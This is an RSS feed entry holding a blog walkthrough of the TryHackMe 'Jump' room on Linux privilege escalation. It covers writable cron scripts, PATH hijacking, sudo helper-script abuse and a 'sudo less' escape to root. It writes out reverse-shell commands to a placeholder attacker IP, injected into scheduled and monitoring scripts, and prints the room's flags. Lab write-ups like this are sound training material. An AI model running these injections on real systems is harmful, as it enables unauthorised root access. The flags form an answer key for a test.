<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by seif anbar on Medium]]></title>
        <description><![CDATA[Stories by seif anbar on Medium]]></description>
        <link>https://medium.com/@seifanbar49?source=rss-8283b9519386------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hQxDMSLgI8PuDkV0puKhGw@2x.jpeg</url>
            <title>Stories by seif anbar on Medium</title>
            <link>https://medium.com/@seifanbar49?source=rss-8283b9519386------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 06:34:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@seifanbar49/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ TryHackMe Write-up: “Jump” Room (Linux Privilege Escalation)]]></title>
            <link>https://medium.com/@seifanbar49/tryhackme-write-up-jump-room-linux-privilege-escalation-89d393211c5f?source=rss-8283b9519386------2</link>
            <guid isPermaLink="false">https://medium.com/p/89d393211c5f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[seif anbar]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 00:45:20 GMT</pubDate>
            <atom:updated>2026-09-18T01:22:11.242Z</atom:updated>
            <content:encoded><![CDATA[<p>In this walkthrough, we are tackling the <strong>“Jump”</strong> machine from TryHackMe. This room is an excellent environment for practicing Linux Privilege Escalation, focusing heavily on both lateral and vertical movement between users.</p><p>The core concept is that the system processes various tasks (recon scripts, development backups, monitoring jobs, deployment tasks) across multiple users, with each stage relying too heavily on the previous one. Our goal is to escalate from recon_user ➡️ dev_user ➡️ monitor_user ➡️ ops_user ➡️ and finally to root 👑.</p><p>Let’s dive in! 🚀</p><h3>🚩 Phase 1: Initial Access (recon_user)</h3><p>Upon entering the machine, we start with recon_user privileges. The first step is straightforward: retrieve the initial flag from our home directory.</p><pre>cat /home/recon_user/flag.txt</pre><p><strong>Flag 1:</strong> THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*DC3lCrTOltAJfqxiQLv7OQ.jpeg" /></figure><h3>🚩 Phase 2: Escalating to dev_user (Insecure File/Group Permissions)</h3><p>The next objective is transitioning to dev_user. We begin our enumeration to identify exploitable files. Using the ls -la /opt command, we notice a /opt/dev directory owned by dev_user.</p><p>Exploring this directory:</p><pre>ls -la /opt/dev<br>echo &#39;bash -i &gt;&amp; /dev/tcp/YOUR_ATTACK_IP/4445 0&gt;&amp;1&#39; &gt;&gt; /opt/dev/backup.sh<br>nc -lvnp 4445<br>cat /home/dev_user/flag.txt</pre><p>We find a script named backup.sh running in the background as a Cron job. Checking our permissions with the id command, we discover that recon_user is part of the dev_user group. The crucial finding is the script&#39;s permissions (rwxrwxr-x), meaning anyone in the group can write and modify it!</p><p><strong>Exploitation:</strong> We inject a reverse shell command into backup.sh andSet up a listener on port 4445 and After waiting a minute, we catch the shell with dev_user privileges!</p><p><strong>Flag 2:</strong> THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*EiSHjXGT1qVpmxNjieTLDQ.jpeg" /></figure><h3>🚩 Phase 3: Escalating to monitor_user (PATH Hijacking)</h3><p>Now operating as dev_user, we search for a path to monitor_user. We enumerate files owned by the new user using find:</p><pre>find / -user monitor_user 2&gt;/dev/null</pre><p>This reveals a monitoring tool located at /usr/local/bin/healthcheck. Reading the tool&#39;s contents:</p><pre>cat /usr/local/bin/healthcheck</pre><p>We notice the script executes commands like ps without specifying their absolute paths (i.e., it calls ps instead of /bin/ps). Since we have write access to the /opt/dev/bin directory, this presents a classic <strong>PATH Hijacking</strong> vulnerability.</p><p><strong>Exploitation:</strong> We create a malicious script named ps in our bin directory to trigger a reverse shell when the monitoring script runs:</p><pre>echo &#39;#!/bin/bash&#39; &gt; /opt/dev/bin/ps<br>echo &#39;bash -i &gt;&amp; /dev/tcp/YOUR_ATTACK_IP/4446 0&gt;&amp;1&#39; &gt;&gt; /opt/dev/bin/ps<br>chmod +x /opt/dev/bin/ps<br>cat /home/monitor_user/flag.txt</pre><p>Start a new listener on port 4446, and within seconds, we secure a shell as monitor_user!</p><p><strong>Flag 3:</strong> THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*R0K8LXtKJmLRFpxcsDHx0Q.jpeg" /></figure><h3>🚩 Phase 4: Escalating to ops_user (Sudo Misconfiguration)</h3><p>Moving forward, our first check is always sudo -l:</p><pre>sudo -l</pre><p>The output reveals we can execute a deployment script as ops_user without a password: (ops_user) NOPASSWD: /usr/local/bin/deploy.sh</p><p>This main script calls a secondary helper script named deploy_helper.sh located in /opt/app/. Fortunately, as monitor_user, we have the permissions to modify this helper script!</p><p><strong>Exploitation:</strong> We append a command to spawn a new shell inside the helper script:</p><p>Bash</p><pre>echo &#39;/bin/bash&#39; &gt;&gt; /opt/app/deploy_helper.sh</pre><p>Then, we execute the main script using our available sudo privileges:</p><pre>sudo -u ops_user /usr/local/bin/deploy.sh</pre><p>This drops us into a background shell with ops_user privileges.</p><pre>cat /home/ops_user/flag.txt</pre><p><strong>Flag 4:</strong> THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smKwDkMY55lVFC-tusbkkA.jpeg" /></figure><h3>🚩 Phase 5: Gaining Root (GTFOBins — Sudo Less)</h3><p>We are now in the final stage, targeting root. First, we upgrade our shell to a fully interactive one:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Next, we check the ops_user privileges:</p><pre>sudo -l</pre><p>We find the ultimate vulnerability: (root) NOPASSWD: /usr/bin/less</p><p>We are allowed to run the less utility as root without a password. The less command has a well-known feature that allows users to escape to a shell.</p><p><strong>Exploitation:</strong> We execute less on a large file like /etc/passwd to keep the interface open:</p><pre>sudo less /etc/passwd</pre><p>Once the file opens, we type the escape command:</p><pre>!/bin/bash</pre><p><em>Boom!</em> 💥 We are now root!</p><pre>cat /root/flag.txt</pre><p><strong>Flag 5:</strong> THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*lCV9CGSoERV5USg3-4bjuw.jpeg" /></figure><p>## ⚠️ Challenges Faced &amp; Risk Mitigation</p><p>Throughout this machine, a few operational challenges and risks appeared. Here is how they were handled to ensure a smooth and stable exploitation process:</p><ul><li>**Handling Non-Interactive Shells (Dumb Shells):** During the escalation to `ops_user`, the newly spawned shell lacked a proper prompt and job control, making it seem as if the terminal had frozen. <br> * *Mitigation:* Always trust your execution and verify your access blindly using commands like `whoami`. As a best practice, immediately upgrade your shell to a fully interactive TTY using Python (`python3 -c ‘import pty; pty.spawn(“/bin/bash”)’`) before running complex commands like `sudo less`.<br>* **Script Modification Risks:** When modifying existing automated scripts (like `backup.sh` or `deploy_helper.sh`), it is extremely risky to use a single redirect operator (`&gt;`). Doing so overwrites the entire file, which can break the system’s normal workflow and ruin the exploitation path.<br> * *Mitigation:* Always use the append operator (`&gt;&gt;`) to safely inject reverse shell payloads at the bottom of the scripts without destroying their original functionality.<br>* **Listener Port Conflicts:** Escalating through four different users requires catching multiple reverse shells. Reusing the same local port for Netcat can cause connection failures or drop existing sessions.<br> * *Mitigation:* Keep track of active listeners and assign a unique port (e.g., 4444, 4445, 4446) for each stage of the privilege escalation chain.<br>* **Copy-Paste Validation:** Occasionally, perfectly retrieved flags might get rejected by the platform due to trailing whitespaces or hidden characters copied accidentally from the terminal.<br> * *Mitigation:* Double-check the copied string and ensure only the exact flag format (`THM{…}`) is submitted without any extra spaces.</li></ul><h3>🎯 Conclusion</h3><p>The “Jump” machine is an incredibly engaging room that trains logical thinking, methodical enumeration, and the exploitation of weak permissions and misconfigurations to achieve a goal.</p><p>I hope you enjoyed this write-up! Let me know in the comments if you have any questions. Happy Hacking! 💻🛡️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89d393211c5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>